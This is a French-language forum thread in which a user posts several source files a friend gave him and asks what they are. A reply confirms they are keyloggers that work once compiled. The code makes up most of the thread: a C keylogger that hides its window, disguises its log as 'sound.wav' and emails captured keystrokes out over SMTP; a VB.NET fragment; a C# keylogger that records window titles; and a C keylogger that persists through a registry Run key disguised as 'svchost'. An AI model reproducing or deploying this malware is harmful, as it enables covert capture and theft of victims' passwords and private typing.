Codes sources

    Publicités

Users Who Are Viewing This Thread (Total: 0, Members: 0, Guests: 0)

Status
Not open for further replies.

knox77127

Membre Banni
Dec 20, 2010
119
0
436
Bonjours a tous,

Je cherche un très bon programmeur
J'explique: un pote m'a donné plusieurs code sources mais je ne sait absolument pas a quoi ils peuvent servir

Donc une personne performante serait la bien venue

Merci
 

knox77127

Membre Banni
Dec 20, 2010
119
0
436
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!), who tacked on *
* some code to make it send emails, along with a few other changes. *
* If some of the code is crappy, blame Irongeek and not White Scorpion. *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* Change log: *
* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
* 6/22/06 Added the date and time functionality using ctime and fixed *
* a bug where subject was being defined twice.(ThVoidedLine) *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
Linker error] undefined reference to `WSAStartup@8'
Add this:
-lws2_32
to Tools->Compiler Options under the section on compile flags.
*/

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
//Uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth */
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}

/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */

int t=get_keys();
return t;
}

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


short character;
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET);//go to beg.
buf=(char *)malloc(len);//malloc buffer
freadindex=fread(buf,1,len,file);//read into buffer
buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}

fclose(file);
//free (buf);

}
return EXIT_SUCCESS;
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;

#define bufsize 300
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
fputs("Connecting....\n",smtpfile);

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
For i = 8 To 190

Dim result As Integer = 0

' Gets the keystate of the current key.

result = GetAsyncKeyState(i)



' When a keydown event is detected (result = -32767)

If result = -32767 Then

Temp = Chr(i)



If i = 8 Then

If Not TxtBTest.Text.Length = 0 Then

TxtBTest.Text = TxtBTest.Text.Remove(TxtBTest.Text.Length - 1, 1)

End If

Temp = Nothing

ElseIf i > 95 And i < 106 Then ' Test to see if i is an Asii Number

Temp = Chr(i - 48)

TxtBTest.Text = TxtBTest.Text + Temp

ElseIf Chr(i) = "_" Then ' remove strange character

Temp = Nothing

TxtBTest.Text = TxtBTest.Text + Temp

ElseIf i = 189 AndAlso My.Computer.Keyboard.ShiftKeyDown Then ' Tests for "_" TxtBTest.Text = TxtBTest.Text + "_"

ElseIf Chr(i) = Chr(189) Then

TxtBTest.Text = TxtBTest.Text + "-"

ElseIf i > 128 Then

Temp = CType(ConvertPunc(i), Char) ' Converts punctuation from Ascii code

TxtBTest.Text = TxtBTest.Text + Temp

ElseIf My.Computer.Keyboard.CapsLock Then

TxtBTest.Text = TxtBTest.Text + Temp

ElseIf Chr(i) = Chr(16) Then

Temp = Nothing

ElseIf My.Computer.Keyboard.ShiftKeyDown Then ' Converts keyboard event

Temp = ConvertChar(Temp)

TxtBTest.Text = TxtBTest.Text + Temp

ElseIf Chr(i) = Chr(9) Then

SpChar = "[Tab]"

TxtBTest.Text = TxtBTest.Text

ElseIf Not Char.IsUpper(Temp) And Not Temp = " " And Not Char.IsNumber(Temp) Then

SpChar = SpecialKeyConvert(Temp)

If Not SpChar = Nothing Then

TxtBTest.Text = TxtBTest.Text

End If

ElseIf Chr(i) = Chr(13) Then ' Adds return carriage

TxtBTest.Text = TxtBTest.Text + Environment.NewLine

Else

Temp = Char.ToLower(Temp)

DoReplaceNum(Temp)

TxtBTest.Text = TxtBTest.Text + Temp

End If



' you can set your own password to show the interface currently is you type

' showinterce337 into any application while the app is running,

' the interface will show up.

If TxtBTest.Text.Contains("showinterface337") Then

ShowInterface()

End If



' Below, when the Log gets to be over 128 we write it to the text file

'that we have selected from before.

If TxtBTest.Text.Length > 128 Or Chr(i) = Chr(13) Then

WriteHtmlLine(TxtBTest.Text, 0)

End If

End If

Next

/* *************************************************************************** *
* Title: .NET Keylogger
* Author: D3t0x
* Date: 5/21/2007
* Type: Open Source
*
* This software is based off "ArticleKeyLog";
* which can be found at Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!.
* Alexander Kent is the original author. I have
* modified the source to include some more advanced
* logging features I thought were needed.
*
* Added features:
* » Focused/Active window title logging.
* » Accurate character detection.(His version would display only CAPS)
* » Log file formatting.
* » Custom args [below]
* *************************************************************************** *
* Usage:
* You have several args you can pass to customize the
* program's execution.
* netLogger.exe -f [filename] -m [mode] -i [interval] -o [output]
* -f [filename](Name of the file. ".log" will always be the ext.)
* -m ['hour' or 'day'] saves logfile name appended by the hour or day.
* -i [interval] in milliseconds, flushes the buffer to either the
* console or file. Shorter time = more cpu usage.
* 10000=10seconds : 60000=1minute : etc...
* -o ['file' or 'console'] Outputs all data to either a file or console.
* *************************************************************************** *
* ArticleKeyLog - Basic Keystroke Mining
* Date: 05/12/2005
* Author: D3t0x
* Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!
* (Ce lien n'est pas visible, veuillez vous connecter pour l'afficher. Je m'inscris!)
* *************************************************************************** */

using System;
using System.IO;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace NetKeyLogger
{
public class Keylogger
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
[DllImport("User32.dll")]
public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
[DllImport("User32.dll")]
public static extern int GetForegroundWindow();

private System.String keyBuffer;
private System.Timers.Timer timerKeyMine;
private System.Timers.Timer timerBufferFlush;
private System.String hWndTitle;
private System.String hWndTitlePast;
public System.String LOG_FILE;
public System.String LOG_MODE;
public System.String LOG_OUT;
private bool tglAlt = false;
private bool tglControl = false;
private bool tglCapslock = false;

public Keylogger()
{
hWndTitle = ActiveApplTitle();
hWndTitlePast = hWndTitle;

//
// keyBuffer
//
keyBuffer = "";

//
// timerKeyMine
//
this.timerKeyMine = new System.Timers.Timer();
this.timerKeyMine.Enabled = true;
this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
this.timerKeyMine.Interval = 10;

//
// timerBufferFlush
//
this.timerBufferFlush = new System.Timers.Timer();
this.timerBufferFlush.Enabled = true;
this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
this.timerBufferFlush.Interval = 1800000; // 30 minutes
}

public static string ActiveApplTitle()
{
int hwnd = GetForegroundWindow();
StringBuilder sbTitle = new StringBuilder(1024);
int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
string title = sbTitle.ToString();
return title;
}

private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
hWndTitle = ActiveApplTitle();

if(hWndTitle != hWndTitlePast)
{
if(LOG_OUT == "file")
keyBuffer += "[" + hWndTitle + "]";
else
{
Flush2Console("[" + hWndTitle + "]", true);
if(keyBuffer.Length > 0)
Flush2Console(keyBuffer, false);
}
hWndTitlePast = hWndTitle;
}

foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
{
//Console.WriteLine(i.ToString()); // Outputs the pressed key code [Debugging purposes]


if(ControlKey)
{
if(!tglControl)
{
tglControl = true;
keyBuffer += "<Ctrl=On>";
}
}
else
{
if(tglControl)
{
tglControl = false;
keyBuffer += "<Ctrl=Off>";
}
}

if(AltKey)
{
if(!tglAlt)
{
tglAlt = true;
keyBuffer += "<Alt=On>";
}
}
else
{
if(tglAlt)
{
tglAlt = false;
keyBuffer += "<Alt=Off>";
}
}

if(CapsLock)
{
if(!tglCapslock)
{
tglCapslock = true;
keyBuffer += "<CapsLock=On>";
}
}
else
{
if(tglCapslock)
{
tglCapslock = false;
keyBuffer += "<CapsLock=Off>";
}
}

if(Enum.GetName(typeof(Keys), i) == "LButton")
keyBuffer += "<LMouse>";
else if(Enum.GetName(typeof(Keys), i) == "RButton")
keyBuffer += "<RMouse>";
else if(Enum.GetName(typeof(Keys), i) == "Back")
keyBuffer += "<Backspace>";
else if(Enum.GetName(typeof(Keys), i) == "Space")
keyBuffer += " ";
else if(Enum.GetName(typeof(Keys), i) == "Return")
keyBuffer += "<Enter>";
else if(Enum.GetName(typeof(Keys), i) == "ControlKey")
continue;
else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
continue;
else if(Enum.GetName(typeof(Keys), i) == "RControlKey")
continue;
else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
continue;
else if(Enum.GetName(typeof(Keys), i) == "ShiftKey")
continue;
else if(Enum.GetName(typeof(Keys), i) == "LShiftKey")
continue;
else if(Enum.GetName(typeof(Keys), i) == "RShiftKey")
continue;
else if(Enum.GetName(typeof(Keys), i) == "Delete")
keyBuffer += "<Del>";
else if(Enum.GetName(typeof(Keys), i) == "Insert")
keyBuffer += "<Ins>";
else if(Enum.GetName(typeof(Keys), i) == "Home")
keyBuffer += "<Home>";
else if(Enum.GetName(typeof(Keys), i) == "End")
keyBuffer += "<End>";
else if(Enum.GetName(typeof(Keys), i) == "Tab")
keyBuffer += "<Tab>";
else if(Enum.GetName(typeof(Keys), i) == "Prior")
keyBuffer += "<Page Up>";
else if(Enum.GetName(typeof(Keys), i) == "PageDown")
keyBuffer += "<Page Down>";
else if(Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
keyBuffer += "<Win>";

/* ********************************************** *
* Detect key based off ShiftKey Toggle
* ********************************************** */
if(ShiftKey)
{
if(i >= 65 && i <= 122)
{
keyBuffer += (char)i;
}
else if(i.ToString() == "49")
keyBuffer += "!";
else if(i.ToString() == "50")
keyBuffer += "@";
else if(i.ToString() == "51")
keyBuffer += "#";
else if(i.ToString() == "52")
keyBuffer += "$";
else if(i.ToString() == "53")
keyBuffer += "%";
else if(i.ToString() == "54")
keyBuffer += "^";
else if(i.ToString() == "55")
keyBuffer += "&";
else if(i.ToString() == "56")
keyBuffer += "*";
else if(i.ToString() == "57")
keyBuffer += "(";
else if(i.ToString() == "48")
keyBuffer += ")";
else if(i.ToString() == "192")
keyBuffer += "~";
else if(i.ToString() == "189")
keyBuffer += "_";
else if(i.ToString() == "187")
keyBuffer += "+";
else if(i.ToString() == "219")
keyBuffer += "{";
else if(i.ToString() == "221")
keyBuffer += "}";
else if(i.ToString() == "220")
keyBuffer += "|";
else if(i.ToString() == "186")
keyBuffer += ":";
else if(i.ToString() == "222")
keyBuffer += "\"";
else if(i.ToString() == "188")
keyBuffer += "<";
else if(i.ToString() == "190")
keyBuffer += ">";
else if(i.ToString() == "191")
keyBuffer += "?";
}
else
{
if(i >= 65 && i <= 122)
{
keyBuffer += (char)(i + 32);
}
else if(i.ToString() == "49")
keyBuffer += "1";
else if(i.ToString() == "50")
keyBuffer += "2";
else if(i.ToString() == "51")
keyBuffer += "3";
else if(i.ToString() == "52")
keyBuffer += "4";
else if(i.ToString() == "53")
keyBuffer += "5";
else if(i.ToString() == "54")
keyBuffer += "6";
else if(i.ToString() == "55")
keyBuffer += "7";
else if(i.ToString() == "56")
keyBuffer += "8";
else if(i.ToString() == "57")
keyBuffer += "9";
else if(i.ToString() == "48")
keyBuffer += "0";
else if(i.ToString() == "189")
keyBuffer += "-";
else if(i.ToString() == "187")
keyBuffer += "=";
else if(i.ToString() == "92")
keyBuffer += "`";
else if(i.ToString() == "219")
keyBuffer += "[";
else if(i.ToString() == "221")
keyBuffer += "]";
else if(i.ToString() == "220")
keyBuffer += "\\";
else if(i.ToString() == "186")
keyBuffer += ";";
else if(i.ToString() == "222")
keyBuffer += "'";
else if(i.ToString() == "188")
keyBuffer += ",";
else if(i.ToString() == "190")
keyBuffer += ".";
else if(i.ToString() == "191")
keyBuffer += "/";
}
}
}
}

#region toggles
public static bool ControlKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
} // ControlKey
public static bool ShiftKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
} // ShiftKey
public static bool CapsLock
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
} // CapsLock
public static bool AltKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
} // AltKey
#endregion

private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if(LOG_OUT == "file")
{
if(keyBuffer.Length > 0)
Flush2File(LOG_FILE);
}
else
{
if(keyBuffer.Length > 0)
Flush2Console(keyBuffer, false);
}
}

public void Flush2Console(string data, bool writeLine)
{
if(writeLine)
Console.WriteLine(data);
else
{
Console.Write(data);
keyBuffer = ""; // reset
}
}

public void Flush2File(string file)
{
string AmPm = "";
try
{
if(LOG_MODE == "hour")
{
if(DateTime.Now.TimeOfDay.Hours >= 0 && DateTime.Now.TimeOfDay.Hours <= 11)
AmPm = "AM";
else
AmPm = "PM";
file += "_" + DateTime.Now.ToString("hh") + AmPm + ".log";
}
else
file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + ".log";

FileStream fil = new FileStream(file, FileMode.Append, FileAccess.Write);
using(StreamWriter sw = new StreamWriter(fil))
{
sw.Write(keyBuffer);
}

keyBuffer = ""; // reset
}
catch(Exception ex)
{
// Uncomment this to help debug.
// Console.WriteLine(ex.Message);
throw;
}
}

#region Properties
public System.Boolean Enabled
{
get
{
return timerKeyMine.Enabled && timerBufferFlush.Enabled;
}
set
{
timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
}
}

public System.Double FlushInterval
{
get
{
return timerBufferFlush.Interval;
}
set
{
timerBufferFlush.Interval = value;
}
}

public System.Double MineInterval
{
get
{
return timerKeyMine.Interval;
}
set
{
timerKeyMine.Interval = value;
}
}
#endregion

}
}

001 #include <windows.h>
002 #include <stdio.h>
003 #include <winuser.h>
004
005 #define BUFSIZE 80
006
007 int test_key(void);
008 int create_key(char *);
009 int get_keys(void);
010
011
012 int main(void)
013 {
014 HWND stealth; /*creating stealth (window is not visible)*/
015 AllocConsole();
016 stealth=FindWindowA("ConsoleWindowClass",NULL);
017 ShowWindow(stealth,0);
018
019 int test,create;
020 test=test_key();/*check if key is available for opening*/
021
022 if (test==2)/*create key*/
023 {
024 char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
025 create=create_key(path);
026
027 }
028
029
030 int t=get_keys();
031
032 return t;
033 }
034
035 int get_keys(void)
036 {
037 short character;
038 while(1)
039 {
040
041 for(character=8;character<=222;character++)
042 {
043 if(GetAsyncKeyState(character)==-32767)
044 {
045
046 FILE *file;
047 file=fopen("svchost.log","a+");
048 if(file==NULL)
049 {
050 return 1;
051 }
052 if(file!=NULL)
053 {
054 if((character>=39)&&(character<=64))
055 {
056 fputc(character,file);
057 fclose(file);
058 break;
059 }
060 else if((character>64)&&(character<91))
061 {
062 character+=32;
063 fputc(character,file);
064 fclose(file);
065 break;
066 }
067 else
068 {
069 switch(character)
070 {
071 case VK_SPACE:
072 fputc(' ',file);
073 fclose(file);
074 break;
075 case VK_SHIFT:
076 fputs("[SHIFT]",file);
077 fclose(file);
078 break;
079 case VK_RETURN:
080 fputs("\n[ENTER]",file);
081 fclose(file);
082 break;
083 case VK_BACK:
084 fputs("[BACKSPACE]",file);
085 fclose(file);
086 break;
087 case VK_TAB:
088 fputs("[TAB]",file);
089 fclose(file);
090 break;
091 case VK_CONTROL:
092 fputs("[CTRL]",file);
093 fclose(file);
094 break;
095 case VK_DELETE:
096 fputs("[DEL]",file);
097 fclose(file);
098 break;
099 case VK_OEM_1:
100 fputs("[;:]",file);
101 fclose(file);
102 break;
103 case VK_OEM_2:
104 fputs("[/?]",file);
105 fclose(file);
106 break;
107 case VK_OEM_3:
108 fputs("[`~]",file);
109 fclose(file);
110 break;
111 case VK_OEM_4:
112 fputs("[ [{ ]",file);
113 fclose(file);
114 break;
115 case VK_OEM_5:
116 fputs("[\\|]",file);
117 fclose(file);
118 break;
119 case VK_OEM_6:
120 fputs("[ ]} ]",file);
121 fclose(file);
122 break;
123 case VK_OEM_7:
124 fputs("['\"]",file);
125 fclose(file);
126 break;
127 /*case VK_OEM_PLUS:
128 fputc('+',file);
129 fclose(file);
130 break;
131 case VK_OEM_COMMA:
132 fputc(',',file);
133 fclose(file);
134 break;
135 case VK_OEM_MINUS:
136 fputc('-',file);
137 fclose(file);
138 break;
139 case VK_OEM_PERIOD:
140 fputc('.',file);
141 fclose(file);
142 break;*/
143 case VK_NUMPAD0:
144 fputc('0',file);
145 fclose(file);
146 break;
147 case VK_NUMPAD1:
148 fputc('1',file);
149 fclose(file);
150 break;
151 case VK_NUMPAD2:
152 fputc('2',file);
153 fclose(file);
154 break;
155 case VK_NUMPAD3:
156 fputc('3',file);
157 fclose(file);
158 break;
159 case VK_NUMPAD4:
160 fputc('4',file);
161 fclose(file);
162 break;
163 case VK_NUMPAD5:
164 fputc('5',file);
165 fclose(file);
166 break;
167 case VK_NUMPAD6:
168 fputc('6',file);
169 fclose(file);
170 break;
171 case VK_NUMPAD7:
172 fputc('7',file);
173 fclose(file);
174 break;
175 case VK_NUMPAD8:
176 fputc('8',file);
177 fclose(file);
178 break;
179 case VK_NUMPAD9:
180 fputc('9',file);
181 fclose(file);
182 break;
183 case VK_CAPITAL:
184 fputs("[CAPS LOCK]",file);
185 fclose(file);
186 break;
187 default:
188 fclose(file);
189 break;
190 }
191 }
192 }
193 }
194 }
195
196 }
197 return EXIT_SUCCESS;
198 }
199
200 int test_key(void)
201 {
202 int check;
203 HKEY hKey;
204 char path[BUFSIZE];
205 DWORD buf_length=BUFSIZE;
206 int reg_key;
207
208 reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
209 if(reg_key!=0)
210 {
211 check=1;
212 return check;
213 }
214
215 reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
216
217 if((reg_key!=0)||(buf_length>BUFSIZE))
218 check=2;
219 if(reg_key==0)
220 check=0;
221
222 RegCloseKey(hKey);
223 return check;
224 }
225
226 int create_key(char *path)
227 {
228 int reg_key,check;
229
230 HKEY hkey;
231
232 reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
233 if(reg_key==0)
234 {
235 RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
236 check=0;
237 return check;
238 }
239 if(reg_key!=0)
240 check=1;
241
242 return check;
243 }

Voila
 

knox77127

Membre Banni
Dec 20, 2010
119
0
436
Merci d'avoir répondu,

Mais j'ai des question:
"C'est un keylogger. " lequel?
Et aussi:
Il est fonctionnel?
 

Evaelis

La Voix de la Sagesse
V
Ancien staff
Apr 28, 2010
22,949
468
1,699
Valhalla
Ils sont fonctionnels ils faut les compiler le premier est en C le 2e en C# je crois
 
Status
Not open for further replies.